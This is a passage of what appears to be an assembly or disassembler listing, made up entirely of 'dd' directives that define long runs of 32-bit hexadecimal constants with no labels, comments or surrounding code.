dd 0A309Dh, 0BD555D09h, 7ECEFD6Bh, 74B75C00h, 0BBB5A7E8h
dd 7B10072Eh, 30696F95h, 0E69F4EBEh, 1B70D500h, 0AA5B5DFCh
dd 1E250089h, 0A4C9FBADh, 31008F9Eh, 0BC41666h, 38D3B582h
dd 0CE80FADBh, 52BD22B9h, 6800E6B4h, 0C1A2461Bh, 0E9089Fh
dd 710B9776h, 920D5FD2h, 0E2E427FCh, 2F395900h, 5C694FD1h
dd 1D8600B8h, 38835E54h, 0EC00311Fh, 0E464129Fh, 0D5C266h
dd 5048B8FFh, 915CB525h, 0A7B65700h, 1D93D647h, 1C62FCEFh
dd 80FB8D5Eh, 7A749794h, 0BB0070C7h, 892E914Ch, 6AFEEDh
dd 9324AA73h, 18A6FCBh, 4857AB00h, 0ACC8435Eh, 59540545h
dd 80FC945Ah, 0E807525Bh, 57BE1200h, 0A68AFF24h, 0A7100021h
dd 9346B5CDh, 0D0FDE11h, 0E0408981h, 0D8F1DAB6h, 0C9A7000Bh
dd 0D24254FBh, 201C7DC3h, 0FFC0C508h, 37BB4182h, 53C41D89h
dd 2111007Bh, 6AB2DD32h, 0E60039F2h, 0EF60E186h, 3ABB73A6h
dd 6F82C51Eh, 0BC291D4Ah, 59602FE2h, 341ECCE6h, 0E2402BCBh
dd 0D79A1C7Ah, 0F6F33E0Ch, 2539D807h, 0F5B7A0EEh, 2C1E1631h
dd 0CE80A8F8h, 8C87764Eh, 1B454862h, 3C95416h, 26CFC3C0h
dd 1EFFE290h, 6C009271h, 9E3E5B1Dh, 79FB10Eh, 491FEE36h
dd 4D27021h, 0F8EE5592h, 0F609A100h, 0C6CF6375h, 67B071h
dd 12A3C9BBh, 5CBD489h, 65A5740Eh, 0AA5360F5h, 0C95A4Eh
dd 250EDC2Dh, 86DEA313h, 27155Ch, 0A7A13EA0h, 0E41FDDh
dd 0AA46D5DAh, 755B9051h, 661C0700h, 0DD207634h, 0A7A20161h
dd 0F213607Bh, 0BA4B21EEh, 320D8020h, 0F09E26E5h, 0C8CD1CB0h
dd 0DCE3C55Fh, 59C70036h, 43A3D7E1h, 718A7B60h, 88FA9Dh
dd 984D0DD2h, 65346F02h, 707A8B07h, 0C3C0213Bh, 578209h
dd 58EBC15Ah, 542E7B89h, 879E3000h, 75D4BEEh, 33F7190h
dd 4475A83Bh, 0CE89F531h, 0D96830E6h, 57EDE203h, 0D8BB3C9Bh
dd 1B21F8h, 0B1161ED7h, 0B7326AFDh, 0C65DBE00h, 57D99863h
dd 0B63900BAh, 4DD34ABBh, 6500D561h, 953C0F30h, 236A2A5h
dd 0F2034FB5h, 0D940503Fh, 0CF1D2346h, 57C06708h, 0D6D05C3h
dd 9AF51C4Fh, 0B53A8074h, 0DA03465Dh, 4C077918h, 1F6287F4h
dd 0C08990FCh, 4667D518h, 6F0035FBh, 4B3C7050h, 5A48A3h
dd 734C7BB1h, 0E7811AB4h, 8A999E07h, 0F8B0CC20h, 7848FB3h
dd 0A2E5348Dh, 68834024h, 0BD010B39h, 0BC6C18AEh, 35E8A8B5h
dd 0C426011Ch, 0E09F8132h, 79C6601Eh, 679B6D00h, 8CD330B7h
dd 35550007h, 0B0927FDh, 0ED00B662h, 8F6F76A4h, 44FE25h
dd 0FDEE3AABh, 7A224171h, 62C5DA1Ch, 0E3FBD840h, 0AAC0E1h
dd 25136A28h, 4E5135F8h, 4C5ECA00h, 84CFF0E5h, 0F2A30085h
dd 18743F03h, 6601386Dh, 2EC5B361h, 0A2F8C962h, 58340097h
dd 8382FAB1h, 0DC76A421h, 0B27AA00h, 0D09D5DB8h, 946C0E1Ah
dd 0B9C0830Dh, 987D33BAh, 0C2EA2E00h, 0D60852F9h, 86B01FF7h
dd 1E8E0013h, 0D1E5CD79h, 0E4EFCA00h, 7356DDD0h, 0E92E0055h
dd 65F1C8F6h, 74EED876h, 6307ADF4h, 0EEBBAA38h, 0E2C63EE0h
dd 0CEBC141Bh, 7E75C1BEh, 0A1D3010Eh, 49936169h, 0A3480E3h
dd 0A730DD59h, 43BA0014h, 9C24FF81h, 0A80097CEh, 0BE3B7DEFh
dd 7259DD84h, 528C0167h, 0DF389B74h, 0E4036049h, 5B3AE103h
dd 906D508Ah, 7B7FDAh, 6B37DE14h, 926CB319h, 0C7051807h
dd 8E2363C2h, 94B9C833h, 83810038h, 3C2DCA08h, 773FB5EDh
dd 0E960001Bh, 464E5D5Ah, 1F5300A4h, 0D48D80C5h, 0D100DFCEh
dd 0AAD7A7F8h, 0FCA8A382h, 7A2E6EFh, 8F71ECBAh, 6314B018h
dd 8E0015F8h, 1986C17Bh, 0EAA034Ah, 786B5BEFh, 1300F20Eh
dd 0D399D85Dh, 0AC023100h, 0C0275F4Ah, 6BAE00BEh, 0A98F0159h
dd 6024125Eh, 4000DCF1h, 8E8A1343h, 7E350074h, 0D450275Ah
dd 7A1DFE6Bh, 807B293Ch, 0C83B8666h, 195ABEh, 571B7178h
dd 59B85FA6h, 7F01F279h, 4E356D95h, 0B3F84066h, 4F191C55h
dd 0B6A699h, 87CED21Ah, 0C405700Ah, 0B038EDF8h, 0BCDF53C0h
dd 0DECCF9FAh, 0A1E00028h, 785CFB80h, 0B400BDA6h, 6499CB22h
dd 53585Eh, 0FBB1AA84h, 7CAB7BCAh, 0A707F6F4h, 0EA301228h
dd 0E89E8503h, 1F2C7467h, 0C3E347C4h, 0E9A19291h, 66200780h
dd 80E7123Ah, 9B6A3CBBh, 4D2755h, 0B52FD40Eh, 8D335A86h
dd 0C7C64Ch, 12F78A24h, 0F8F04C84h, 0B8A600BEh, 8BDDA2EAh
dd 2F00B0E3h, 1D29C894h, 90E70D03h, 15F7029Eh, 8CBE2567h
dd 175E9E0h, 691B5Ch, 0F3407BB3h, 7370E7h, 82BCC9E5h, 3B97933Eh
dd 0CE00C3F4h, 76DE560Dh, 7A489F52h, 47C80719h, 713C6DCCh
dd 0C34F181Fh, 0AAC0B7E3h, 8C00A975h, 116F1D57h, 1BC3BEh
dd 3AB5A08Bh, 0E0D31CFh, 20016E00h, 7C58C26Bh, 5C8C013Eh
dd 30D460EDh, 1C2DF414h, 0F9E4881Fh, 0CF2E81C0h, 7C46D83h
dd 4785F4E3h, 652B1073h, 7600FCA7h, 7AD4E577h, 1F69D8AAh
dd 0C0D1343Fh, 0BB17A6DDh, 0B82647A3h, 64007F88h, 44F5EDA9h
dd 3A7D2429h, 0D1D01D3h, 60532EE5h, 1200D5D6h, 9D1C064Eh
dd 0EA6647DCh, 22383BADh, 530D9380h, 0D9979816h, 0F1006E7Bh
dd 0A389B35Ch, 0DB42E0h, 70EB8096h, 50FA9522h, 0B374BE07h
dd 2F0F7F18h, 0F87CA0FDh, 395798ACh, 0A880D052h, 591ECE3Fh
dd 8D38D85Fh, 0F7C800ABh, 0D29D9A44h, 0B3420093h, 0A43A3F16h
dd 0BB3B6FC5h, 60FB00C0h, 536EFCDBh, 0B00700CDh, 6C97B3F6h
dd 0F00EFE32h, 0E00ABC66h, 0F4D8ABCBh, 58953DAFh, 7A1A8783h
dd 39A0DD8Dh, 29033417h, 32E682FBh, 2B5EF09Eh, 0C2B60078h
dd 73B8F971h
dd 0E100A50Fh, 0C7A865Fh, 0A12909h, 0E8BC4B2Dh, 0A69E9F0Ah
dd 0F5E58A00h, 0DE3165BBh, 6C250030h, 108C29EAh, 0AB0099B9h
dd 0C3FCA690h, 0B65AD6h, 0D8CBA218h, 9B5EA128h, 851E1400h
dd 7B5B044Ch, 7705036Ch, 68F31547h, 0E818C398h, 0E307B000h
dd 0C066E483h, 0ECE90089h, 0DC3281CDh, 0A53E53BFh, 8C7C006Ch
dd 30080754h, 0FE38070Ah, 5073ABBEh, 4CBD5C1Dh, 7048B100h
dd 0E69343DEh, 2CD0E27Bh, 75F806Ch, 1E459E0h, 0DFA00B7Dh
dd 0FC5158C0h, 0ED00D9B0h, 7797FEFDh, 0D114Dh, 0C5F92E9Ch
dd 2C3603D7h, 4863E00Eh, 3EDAA0F4h, 7D3086h, 784E07C3h
dd 0DEBE4C02h, 0D0DC4700h, 21F756E0h, 0D7A00098h, 294F8F76h
dd 4D070649h, 0EB232E20h, 0B834DE10h, 8B360039h, 6EFFD8B9h
dd 4778DB99h, 23005B73h, 0F261BA5Ch, 1518E2Ch, 0D1CAC2Fh
dd 0E0D5EF3Ah, 0D8E94782h, 7F034356h, 3B6BDAA7h, 96BBF086h
dd 2A600FFh, 0E02BCF68h, 0D93C4C92h, 0D6AE8E06h, 3D872667h
dd 0D72DCh, 65A44E46h, 808FCC9Bh, 7F96ED00h, 1FD4C3AAh
dd 717239h, 33B8756h, 0E15817F5h, 802B3300h, 43C6C59Eh
dd 0E7B60049h, 2F6778FDh, 0A44E932Eh, 3C487700h, 62753Fh
dd 5F2D3438h, 5D95ED25h, 0BE633738h, 81F0080h, 42564721h
dd 0B4D4007Fh, 0FF119854h, 0A50224F5h, 3A500145h, 0B326E0B9h
dd 73D5005Ch, 97D87E1Ah, 8007B0A4h, 313F6129h, 60471910h
dd 1D3D7A13h, 8074715Ah, 7DCF5965h, 0DF01F79Bh, 7B7C1C6Ch
dd 53F44973h, 0D6DC00D1h, 0DBA3ECFFh, 37003FC5h, 5BA7177Fh
dd 723DF5h, 829BDCFCh, 340CE4ABh, 0B13C4D60h, 0D8460Dh
dd 4AD93A72h, 66619940h, 0B5A1C700h, 1FB7B016h, 6E70F4h
dd 0ED2E0FB2h, 29651284h, 89A6C100h, 301D74BBh, 795A0060h
dd 0CCC01582h, 260EB019h, 4042F216h, 20453DCEh, 0FC20029h
dd 9BB71BC7h, 0D6FE3C49h, 0E9611403h, 1A044BCh, 410FA384h
dd 0E8CEDBEBh, 0BD007D20h, 939E16ECh, 24F379h, 382EBEB4h
dd 37E34D90h, 0C8F5D50Ch, 0FF696E4h, 0D861CB59h, 44D69400h
dd 4D009A49h, 74C34064h, 349E4Ch, 6983E750h, 0E268E5EAh
dd 70B85B27h, 13A40085h, 6F1B1037h, 890080F4h, 8D0AC90Bh
dd 0F06C3E46h, 0A9813E08h, 0F1D0380h, 0DF6A8F6Bh, 0CF17400h
dd 11494A4Fh, 57541F4Ch, 3FE68048h, 0EC04405Bh, 0EDC40D00h
dd 0EE5FFD83h, 670300A5h, 1537B0EFh, 0A600EAB3h, 8EDA1A82h
dd 0D8B22Eh, 0D3D911B4h, 1FE7A7E4h, 5658EA00h, 0ED6C4932h
dd 661B0C5Bh, 0DB9EF7EFh, 30F0D300h, 8B4464E3h, 228100D6h
dd 0B29977BFh, 0AF01EC4Ah, 230ECF02h, 82D85B84h, 8B460F17h
dd 77276641h, 0EB00DE9Ch, 57A75321h, 0E1B12800h, 0C1DDB55Bh
dd 298700ABh, 38BA88BBh, 0F5006720h, 2722B8FAh, 0F8D4AE9Fh
dd 8E4300DDh, 0CB6BE12Dh, 0D60077FFh, 44BF767Ah, 70E79F81h
dd 0A7F7017Ch, 0F106053Ch, 0D1CCF8C0h, 99C640B5h, 0D55002Fh
dd 86FA6351h, 471C0706h, 0B24FD05Fh, 0EFF020BFh, 0DE280Dh
dd 3459EBBAh, 0C87A5123h, 0E3007EFCh, 888E1AAAh, 3EF480CBh
dd 8D9DC6EEh, 97FD8007h, 4D282964h, 6E007AE4h, 9143BA3Ah
dd 0EE3409h, 0BE5B54F7h, 58470F2Dh, 0E3FA5900h, 179E8810h
dd 76A076C7h, 0A6AE3FB8h, 161BA180h, 0CDD87C9Dh, 77BA4700h
dd 686D8050h, 413D5CD3h, 2B0CFF00h, 953AB9C4h, 42DD7C03h
dd 0E8242316h, 0B5B7934Dh, 66E50E0h, 0BD584C1Dh, 45DF0079h
dd 6D3E5EDEh, 518700DBh, 6098A7A3h, 8F7CF8E2h, 5BFD9703h
dd 0C3C94ED9h, 0C87B9B08h, 4CD3B3h, 70E67F64h, 0D60A4287h
dd 9801A900h, 1A69E08Fh, 0BB1C00CCh, 5185C6E3h, 5509DF5Ch
dd 0CEF9521h, 0E6B354D6h, 1EEBFE11h, 0E912F97h, 96421Bh
dd 8AFA7DD7h, 0D60E1150h, 801A716Fh, 0FDEB8996h, 68D2018Eh
dd 86A92AB4h, 75E7E84Eh, 900BEE0h, 482ED71h, 35B436Fh
dd 0F273C3D2h, 8DBC5C7h, 0EEE26EC8h, 62F0850Fh, 45AFE381h
dd 0CB48D0D9h, 3A63000Dh, 0D4ECB8F2h, 790F7CABh, 8782226Bh
dd 74909D10h, 39607152h, 6F00B815h, 4C5E16A5h, 1F005556h
dd 63E82DA4h, 0F845EEC9h, 2A770091h, 123BBAE9h, 0D51D014Bh
dd 89C0DED7h, 0A9EC14FDh, 0C61D0027h, 0B0F115B1h, 131D7F57h
dd 8A80F550h, 0DA9E0291h, 0FBE6002Eh, 765358C8h, 0C67E1F43h
dd 0A416E906h, 0B84A50h, 85A55B10h, 0CB650790h, 9253182Eh
dd 6251FE00h, 3D027D88h, 1DF0CCEEh, 0C0E1B0ECh, 0A712361Bh
dd 660082ACh, 7414F18Eh, 55E829h, 170E53C2h, 3E8D6760h
dd 0E9A12101h, 59FBB4A2h, 0F703CC5h, 6980004Bh, 5DC39F37h
dd 96007014h, 1B203F62h, 0C78508h, 9DACA467h, 0B25D5F60h
dd 0CC03E0E2h, 0FA2DEDDDh, 7BF2C846h, 0A0FF901Ch, 3FF32A05h
dd 3380CEE5h, 36D950BCh, 0F2C27E45h, 60E0F82Bh, 0FC5EB5h
dd 0C6BE72Eh, 0B7D9FB4Eh, 38F3DA00h, 39BF5B15h, 1D7AB0E3h
dd 801CF1D4h, 0A18C75CFh, 500F7BCh, 9EF42FDFh, 0F3DE60h
dd 1115C60Bh, 52A7BDCFh, 5DF00703h, 0F0FAA29Dh, 0FB66F35h
dd 3249709Ah, 23C06D63h, 0C1E5F990h, 2C694C00h, 921FBCA8h
dd 0C75D4h, 14C8E293h, 0B1B4EACEh, 9E5CD90Fh, 0F6EB6791h
dd 0C4095160h, 0AB3A3870h, 4FB3E300h, 0CD2D2F68h, 0E7BDC505h
dd 77C027EBh, 11BA835h, 0F47F0C5Ch, 706A46F2h, 9077C20Eh
dd 0E8A6B00h, 49986548h, 55C40067h, 5AA73924h, 6600F145h
dd 3FB7BE33h, 8125C9h, 9A0EC79Bh, 54FD17D6h, 0C0B24100h
dd 99F5CD77h, 4549006Bh, 844DE21Dh, 830703E1h, 0ECA396A8h
dd 0D2816E60h, 0BFE005Bh, 760F75A2h, 1000E9Ch, 64CE8C79h
dd 0E5EBFEBh, 0ECBEB267h, 0D57742A1h, 7B63D894h, 0A8A7E300h
dd 599BD631h, 8B7E00F0h, 1D55809Fh, 0FE0034A2h, 4125A65Dh
dd 4CF28h, 6E8DCCBAh, 80A03EDBh, 0B627A500h, 8ED0E4B8h
dd 31B0030Bh, 93C0AD9Eh, 0E151A9F0h, 9A156A30h, 702564Eh
dd 94DBD6B0h, 51167052h, 0FF00A6BFh, 0A8CC4AEAh, 0F6140ADh
dd 580EACBDh, 44B542C0h, 4900220Bh, 7A15A92Fh, 12D75A69h
dd 0ECAB2968h, 0BC077B7Ch, 0DCDEA18Eh, 0FC603D40h, 777E031Dh
dd 30A2E6D9h, 36EDCAB8h, 0F0D8CB05h, 8DC0D2F7h, 58BB90h
dd 0DF4577E3h, 5955C803h, 0E72A403h, 0E04A376Eh, 0A2E349h
dd 34C6AA53h, 0AE4233EDh, 4700727Eh, 118CD901h, 7C7525Ah
dd 883E255Fh, 960EA04Eh, 830037DAh, 6D1CF09Eh, 0F72F94h
dd 3DC1052Eh, 4363FABEh, 0F9007178h, 3352885Ah, 3B153ED7h
dd 0BB3A131Ch, 813A3007h, 6BD5A0ECh, 2300DE7Ch, 0AB5A58DDh
dd 3EA51134h, 68B84147h, 9CDA007Eh, 346F8E6h, 0C90EA61Ch
dd 7D7CF417h, 51B9700h, 3257F13h, 0A6308350h, 0E9001DE3h
dd 0DFC421E0h, 134777AFh, 0BE081Ah, 73C72C09h, 9800E3EDh
dd 1E3776B8h, 0FBFEA3h, 0D3A89235h, 189B6F70h, 0DA3A3B00h
dd 9C2C0F73h, 0BB6A0009h, 6CB7E64Eh, 9E485557h, 79E7006Fh
dd 0B5892EE8h, 5E853BBBh, 0DABDB180h, 935B88C0h, 4069D200h
dd 0F477F61Ch, 0F1E200DBh, 13BAC3BDh, 75F43608h, 0FFC83000h
dd 0A8AE8D39h, 14BB0024h, 4451525Eh, 0A6B8A7D6h, 0CBF4C100h
dd 0F1FD7716h, 9E0B1EABh, 5B82405Dh, 0A1029C18h, 19749800h
dd 7D29F3C2h, 271A07B4h, 0C0F22FB0h, 157896C6h, 0D50ED300h
dd 82984ABh, 0F80F30ECh, 0C579DAEEh, 78B74Ch, 0DF527EE8h
dd 0D7388Dh, 9B13CDD9h
dd 0D4CC70C0h, 0CE000D7Ah, 32BB8AC4h, 341BCC6h, 2295A3D6h
dd 0A8D08454h, 5700084Dh, 503AA9EFh, 0EAF4716Ah, 24D1E6DFh
dd 0E15AF7h, 2223C3EDh, 0AA009896h, 9066502Ch, 1235A05Fh
dd 40891Ah, 8BC6D66Ch, 0B9005725h, 22BEE451h, 0F63C02FBh
dd 0ABC006Dh, 1FFE9A8Eh, 0C9005513h, 1A28F329h, 0F1AB2Fh
dd 1943546Dh, 79FB3709h, 66C84700h, 0AF1FE131h, 713F7012h
dd 455300D3h, 70F08859h, 0A800E6E3h, 0F501C9F7h, 1F1B19B3h
dd 0C1BDD9B7h, 0EE964912h, 0A46BF074h, 0D84E7800h, 0E5D06C5Eh
dd 0AD2A0E99h, 3633D09h, 89D05354h, 0C600B7F7h, 597DCCB0h
dd 0CA2DA7h, 0F0C1774Bh, 96BEE002h, 0B873C900h, 1416DAACh
dd 867F072Ch, 0AFD124FFh, 6CCF0460h, 81070289h, 5DF0644h
dd 4A6A61A0h, 0ECC500F1h, 55E33BADh, 660009D5h, 750A0792h
dd 700F5642h, 0F9480E4Fh, 8D80DB3Dh, 46BDB87Ch, 26BA3800h
dd 93A0B566h, 28E9897h, 0F2E84315h, 3CC1DBE7h, 7F44D420h
dd 0D678FA07h, 0AEA061ACh, 0B125D1h, 2852C202h, 0A53A4C4Eh
dd 3E221D01h, 0EEB94F34h, 0ECAD5DCh, 0EF25E76Ah, 15EAD20h
dd 512C8E22h, 0F800035Ah, 0C3F7E8AAh, 21FADFh, 0D7A92739h
dd 31D0CB9Ch, 5F93A600h, 59F50589h, 783A7574h, 79DE00C6h
dd 0C0E80990h, 1EA070Bh, 0EA0061EEh, 4E554B98h, 74BD773Eh
dd 16D700F3h, 9D58FD29h, 0F5008FBAh, 0D0868848h, 0EEFEE67h
dd 2943827Fh, 426F98E0h, 0EC00AB10h, 4E64B4A7h, 380C8034h
dd 770FA014h, 21C25A39h, 8A805316h, 83E87FCh, 9280561Fh
dd 3A94E840h, 7888267h, 0C7594B09h, 3E45B024h, 0DE0786C8h
dd 74332B12h, 3885F8F0h, 0CB4F0001h, 0F2DC7AE2h, 0D9002308h
dd 2D4B279Ch, 2BDB97Ch, 68F7EAEFh, 0E0C12F90h, 39E6C8B4h
dd 613A5C00h, 0C4DE1E2h, 2A81CA3h, 87F04094h, 1D5B8C93h
dd 910100BDh, 0EAE059h, 0D87B1266h, 0C465D546h, 4F51CF01h
dd 1B9B2FEDh, 12AD4F8h, 58A9F499h, 308DF557h, 6A009857h
dd 7E6F667Ch, 7C1B522h, 0CB8075ADh, 67E9405Fh, 88007F9Eh
dd 2EBEBDE4h, 1D6AF0B4h, 0FDE25BDDh, 0F6145300h, 9E3E4838h
dd 9B1CE800h, 0A6C3FFFAh, 90F4EBh, 4E09A432h, 81B65570h
dd 64172600h, 74CFC39Ah, 51D4F316h, 970100D8h, 33C1A37Fh
dd 0FE016C3Eh, 1A8F67FAh, 77F58C43h, 104920h, 6178DAFDh
dd 0F503A07Bh, 0FBC6CF00h, 131C209h, 9B4600DCh, 235E6E11h
dd 8B00C1ACh, 0BA594014h, 0DE7434h, 0A5A1D7F7h, 471722F0h
dd 54248C00h, 0C49E4F9h, 0CABA003Fh, 4B4AB811h, 0AC0FF7D5h
dd 40F110CCh, 35F98826h, 7B41F4E1h, 6B27000Ch, 0BB44FDF5h
dd 0B8003D15h, 3583195Ch, 8A75D4h, 7DA5553Ah, 6AE64389h
dd 0F9D66603h, 0D8BB2AE2h, 0B557C4h, 53F258F1h, 18BCC38Fh
dd 0E801E970h, 148AD8F6h, 4CF894CBh, 0BB2803AEh, 0FE75CAEFh
dd 0A33BE2D0h, 809DE13Fh, 15124A1Eh, 63A5EDh, 77B4E924h
dd 34DC04FFh, 9A254B00h, 1079C388h, 5BE002Ch, 68867118h
dd 0BA1C699Fh, 6240C1F2h, 0E82FC8B7h, 0DF7B0092h, 536169Ch
dd 7A0055CEh, 9B07ABB5h, 7BD53FE5h, 1595004Ah, 1238EE0Ah
dd 9C3C3D9Fh, 14037FF1h, 0FBF0224Ch, 0E17E062h, 873400BFh
dd 0DD81F32Eh, 71002D05h, 0D57B9E18h, 0D77F7Ch, 66A629BBh
dd 5AEFF20Eh, 0A1CFF000h, 5445B455h, 4DC90092h, 6427028Dh
dd 580029DFh, 0F8DA7372h, 0DCDB7Dh, 101C3F62h, 0AD880BDDh
dd 5131B203h, 0E8771D1Bh, 0D2EDF7h, 13A11E8Eh, 9AEA7CB3h
dd 7AD04B00h, 0C9866610h, 0A2B91F26h, 9EA38928h, 0EA3E9880h
dd 0E0006FBCh, 0AEEBF572h, 0FDB029h, 0C634255Dh, 6D685C42h
dd 0D188BB03h, 0D8127EB9h, 7AAA24h, 290970A6h, 4F98BA2Eh
dd 66BD5C00h, 8ADD1EA7h, 0ABFC0FD4h, 4500FAB6h, 2449D80Dh
dd 0BDB20700h, 50EE2793h, 0B63B0079h, 0E634F5E5h, 31011E42h
dd 3C815FC1h, 88D8A67Dh, 4B53006Ah, 477FD014h, 500FD516h
dd 4EEFBE64h, 0E6003EEEh, 57FDFE56h, 9EF6F0h, 2783FB05h
dd 2BAF3AFh, 43FA5A07h, 0AE0348Eh, 0F2BF6EBh, 0BA7860Fh
dd 2FF83860h, 0BB0046B3h, 3DB5749Dh, 97794C4h, 2656B7A6h
dd 7C81B001h, 0B464D070h, 0E70EA400h, 71746EAEh, 157207DFh
dd 0A00D0F1Dh, 96639921h, 0C1F75607h, 0F630ED2Eh, 6042A1h
dd 594C87C2h, 12BBD583h, 0A0322700h, 4025622Eh, 50410033h
dd 4D601ED8h, 0E47598C4h, 0B00096B8h, 39EE1745h, 29A4C8h
dd 0CE6BEC1Eh, 7732DD7Ch, 0E8305207h, 47806E43h, 3FEAA11h
dd 533D64EDh, 0DC00E0F0h, 8699D3B0h, 3A746A26h, 16975BC9h
dd 6DE9DEh, 30FB195Dh, 33A356h, 35851D4Ch, 0A893E3B5h
dd 3CD48803h, 0B9C073A1h, 78C4CD64h, 19D20022h, 0D5DE5DEFh
dd 8100300Ch, 2A21D983h, 1761201h, 884F9B1Eh, 0C866B22Eh
dd 0D8007F32h, 33149D48h, 0D309ACh, 0CA64E46Bh, 0F150212Eh
dd 762B1A00h, 0CD2242DEh, 7EC400F3h, 1C7C2F98h, 0F1EB3B5h
dd 9F802E95h, 0E5703B9Dh, 0E1880F43h, 3EE0F7FEh, 4160B647h
dd 1FA6B409h, 16E5CEAh, 64773017h, 0BF1F200Ch, 0EB07ABEAh
dd 0D487FA93h, 0EE650780h, 42D203AAh, 0B8A88FE2h, 0D1A23D90h
dd 7BDFE800h, 8BB1393Ah, 147A0062h, 6723815Bh, 9B3A9AF7h
dd 3B56071Ah, 44D07843h, 3A4AF394h, 0D006573h, 0A2CCC695h
dd 0A63A3827h, 0FB48008Ch, 0F14B75Fh, 3E50349h, 0EC047A1Eh
dd 254058B0h, 16C72D01h, 0E2F8FFC6h, 2BCDECh, 0A1F13BCEh
dd 5144EF0h, 0A50B8400h, 705528BDh, 0AEDEA037h, 5C0EFE98h
dd 3D1DCBF1h, 22148363h, 59989952h, 0B8261B05h, 7800BA45h
dd 0D7803D8Ah, 0E3C0004Eh, 0FE5B22BBh, 66004633h, 4F47D5Ch
dd 3BEB84ACh, 704219h, 2A76F562h, 4989875Fh, 0A7E97D00h
dd 586AF47h, 0A81200A5h, 5556D0C3h, 480030EAh, 0CAEDBFD5h
dd 937471h, 7962F24Bh, 0D6F93CB5h, 8041507h, 0E09FBB87h
dd 65C03EFDh, 7EF7A033h, 60313CB0h, 4E505289h, 0F94F8400h
dd 0B4001193h, 0E482B606h, 80D846h, 0A5CBAD7Fh, 863CF776h
dd 274D9B1Eh, 0F5E4EC00h, 3F51217Bh, 4B1EA7BFh, 0AB778074h
dd 3BCB049h, 0E006C9Ah, 33341048h, 0E830E208h, 0CD1500C7h
dd 3ADD13F5h, 6C038FD0h, 0D31D2FACh, 52E48059h, 0BC5700A7h
dd 2304880h, 0BD006EA4h, 1B5C8EA1h, 77CCF23h, 9357D699h
dd 9C008971h, 3AC8865Bh, 173CB09h, 99878040h, 0F8605CC0h
dd 0E4B30077h, 0F33A91E2h, 0DCE7336Bh, 641EC642h, 688E3699h
dd 0FF4F0077h, 378A57Ch, 3823EE1h, 0EF80B751h, 0A10EB319h
dd 8096AACFh, 28E89838h, 1A110054h, 7447674Dh, 72004699h
dd 0FC662236h, 283212C1h, 0F8A70Ch, 3C53E93Dh, 0D7688F60h
dd 0C79B4C00h, 0DA929845h, 9F5C03B2h, 7F73666Dh, 2CA774F0h
dd 23F64800h, 6C0B977Dh, 2FD90043h, 67507BC6h, 0EE01C1E1h
dd 27CF8D05h, 0EE404404h, 6A5E5Fh, 2B086DACh, 203579ABh
dd 6205C50Fh, 0A4922002h, 7C4D50Fh, 744983BBh, 3DA190CFh
dd 933AA759h, 0EDCC0017h, 7B09179h, 358800F3h, 7C19ECF5h
dd 3A000CC1h, 0B1E450BBh, 0DD69C5h, 994254F0h, 26FA92FCh
dd 7F031800h, 0E5F84908h, 0D60900E4h, 5EB4E77Dh, 907EE922h
dd 0F7A8B603h, 0E01F2EEBh, 30C52h, 58D37E1h, 866E358Ah
dd 0F7509E00h, 0CCA6C61Ch, 771100E4h, 0E68AB26h, 92004047h
dd 4507607Ah, 3929C793h
dd 44804D72h, 7B1D26BAh, 77EC35B7h, 65B2CF1Dh, 36D4D700h
dd 0E5A1C6h, 3131E4Fh, 0B1277544h, 0A39E9203h, 814CF80Dh
dd 0D09E45E1h, 6530C04Eh, 62B154B5h, 3A9A6900h, 2BA3ED04h
dd 56FE019Bh, 0CE0C205Eh, 0F830D1A6h, 0B37BE262h, 0F3BE721Ch
dd 4D076800h, 49A0F4h, 0A92469A4h, 0E00C22B6h, 9AEEDB00h
dd 0B398848Ch, 6A5B0077h, 0E1D7521Fh, 4D00AAC7h, 0D2582A51h
dd 0E7F691h, 0B7ADA1EAh, 0A5C02D2Ch, 6F7B5500h, 0D46AD70Ah
dd 7C9302A3h, 2F5F16AAh, 9BDD6B40h, 4DF17A06h, 12CAA0h
dd 3A8451F9h, 0E7FA4C08h, 0C7453F00h, 0DF629AE1h, 0AC2D00EAh
dd 6CAB112h, 39132776h, 4D00C9ABh, 1191E0Ah, 8CA32694h
dd 11B300AEh, 3BC72C07h, 0A4378700h, 0CC6C1539h, 124407FDh
dd 94ADBB64h, 0D6188065h, 1A01C37Fh, 0E03A1B9Ah, 5ADC3624h
dd 54B700BDh, 7D8C98CCh, 0FF001FC7h, 682FE125h, 4AB059h
dd 1C582CE2h, 0D4F2AFB1h, 66F6000h, 5DC98436h, 14650D59h
dd 0F0A65483h, 9A0066BBh, 0E577BCB4h, 29B3CAh, 3EDED8C6h
dd 1B5E3F4Ch, 32D47203h, 0D8F3E533h, 44911F9h, 54B6CD82h
dd 8C5BC0E8h, 0C100CF2Bh, 2D0FDC8Fh, 726895Fh, 0C609226Ch
dd 7D9F906Ah, 1600BB81h, 0A055E0D2h, 98986B1Dh, 0A3F283h
dd 0DC121EBCh, 66C4609h, 9137C600h, 5F619856h, 5DB70938h
dd 0D00AD14h, 40EB88C4h, 0CE1C38h, 0FEDA48Eh, 7E60D8B4h
dd 3B0E0018h, 0FB72FF36h, 0AA009A2Ch, 86F5BC04h, 261D22F9h
dd 477C40h, 0C39C08Eh, 6300DC6Ah, 51121C61h, 1E7385ADh
dd 0AC805E8Fh, 5C270E0Bh, 98171100h, 8300F906h, 26B57CDh
dd 88724Eh, 843BA26Ah, 0C054535h, 7A426800h, 9E32A3F5h
dd 10C10981h, 0E840D161h, 0A11F22AEh, 0DD8007CBh, 56292357h
dd 0C4FA06h, 0B9FD7101h, 4ACB10F2h, 96B5AE07h, 0B000EFE5h
dd 5894B427h, 7700DC41h, 45B1E050h, 6008CABh, 2F186A61h
dd 78957872h, 7AB30091h, 0CC6557EBh, 8100B9C0h, 782F0A0h
dd 8B92EAh, 13B16CF2h, 0B3A91E31h, 0D25D5000h, 0B42EC348h
dd 81490096h, 0E43B5E90h, 0F77D3392h, 36469E03h, 0C01E2F7Dh
dd 421814Ah, 0A6B537BFh, 267380B2h, 9E00945Eh, 0E744EBB1h
dd 2C4F10B3h, 9990BAh, 7A8F3EC1h, 640002EDh, 0ACCF4995h
dd 3DBBBD9h, 0DCCEE8BAh, 0D4B8F1C3h, 9016552Eh, 0C3000AA6h
dd 0A30EAF31h, 9FFF0003h, 27585DFAh, 0A400885Ah, 13356B9Ah
dd 0E8EF6FC2h, 4AA00004h, 0A89D3C5h, 0E5009CBDh, 66CCC8ACh
dd 2ABBAAh, 53223E4Bh, 0BA634AF6h, 0B8F6500h, 3677F77Ah
dd 31C1C73h, 0C1DC0BCh, 0D38DCBB2h, 14A3FF07h, 0B7E0952Fh
dd 0C470C7h, 531B91F9h, 9F983378h, 65A98D00h, 6BFBB24Ah
